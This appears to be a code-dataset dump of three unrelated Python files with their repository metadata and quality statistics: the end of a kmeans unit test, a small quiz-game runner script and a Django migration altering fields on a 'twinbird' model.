initial_result = cluster_kmeans(X)
for x in range(0, 10):
self.assertTrue(np.all(cluster_kmeans(X) == initial_result))
if __name__ == '__main__':
unittest.main()
| 23.833333 | 72 | 0.632368 | 128 | 1,001 | 4.742188 | 0.453125 | 0.046129 | 0.123558 | 0.158155 | 0.131796 | 0.131796 | 0 | 0 | 0 | 0 | 0 | 0.021277 | 0.248751 | 1,001 | 42 | 73 | 23.833333 | 0.785904 | 0.033966 | 0 | 0 | 0 | 0 | 0.015528 | 0 | 0 | 0 | 0 | 0 | 0.16 | 1 | 0.24 | false | 0 | 0.16 | 0.04 | 0.56 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 2 |
3ac0237976dd0487211acdc152702743de9467bd | 54 | py | Python | Quiz_Game/quiz-game-start/tempCodeRunnerFile.py | yash-agrawal20/Python-Project | 29780c4741daf2ef299cc3cb93b88b851f270f51 | [
"BSD-3-Clause"
] | 1 | 2022-01-22T18:06:27.000Z | 2022-01-22T18:06:27.000Z | Quiz_Game/quiz-game-start/tempCodeRunnerFile.py | yash-agrawal20/Python-Project | 29780c4741daf2ef299cc3cb93b88b851f270f51 | [
"BSD-3-Clause"
] | null | null | null | Quiz_Game/quiz-game-start/tempCodeRunnerFile.py | yash-agrawal20/Python-Project | 29780c4741daf2ef299cc3cb93b88b851f270f51 | [
"BSD-3-Clause"
] | null | null | null | quiz = QuizBrain(question_bank)
# quiz.next_question() | 27 | 31 | 0.796296 | 7 | 54 | 5.857143 | 0.714286 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.074074 | 54 | 2 | 32 | 27 | 0.82 | 0.37037 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
3ac50dbed66beca494102b4b426095ae30edc0e6 | 603 | py | Python | twinbird/migrations/0002_auto_20210819_2110.py | kevinisme/pywilson | 89ed60971ccaf02671eda97d6132bdd49773563d | [
"Unlicense"
] | null | null | null | twinbird/migrations/0002_auto_20210819_2110.py | kevinisme/pywilson | 89ed60971ccaf02671eda97d6132bdd49773563d | [
"Unlicense"
] | null | null | null | twinbird/migrations/0002_auto_20210819_2110.py | kevinisme/pywilson | 89ed60971ccaf02671eda97d6132bdd49773563d | [
"Unlicense"
] | null | null | null | # Generated by Django 3.2.3 on 2021-08-19 13:10
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('twinbird', '0001_initial'),
]
operations = [
migrations.AlterField(
model_name='twinbird',
name='catid',
field=models.IntegerField(blank=True, null=True, verbose_name='收據店家欄位id'),
),
migrations.AlterField(
model_name='twinbird',
name='eggid',
field=models.IntegerField(blank=True, null=True, verbose_name='收據價錢欄位id'),
),
]
| 25.125 | 86 | 0.59204 | 61 | 603 | 5.770492 | 0.590164 | 0.113636 | 0.142045 | 0.164773 | 0.522727 | 0.522727 | 0.289773 | 0.289773 | 0.289773 | 0 | 0 | 0.044084 | 0.28524 | 603 | 23 | 87 | 26.217391 | 0.772622 | 0.074627 | 0 | 0.352941 | 1 | 0 | 0.111511 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.058824 | 0 | 0.235294 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.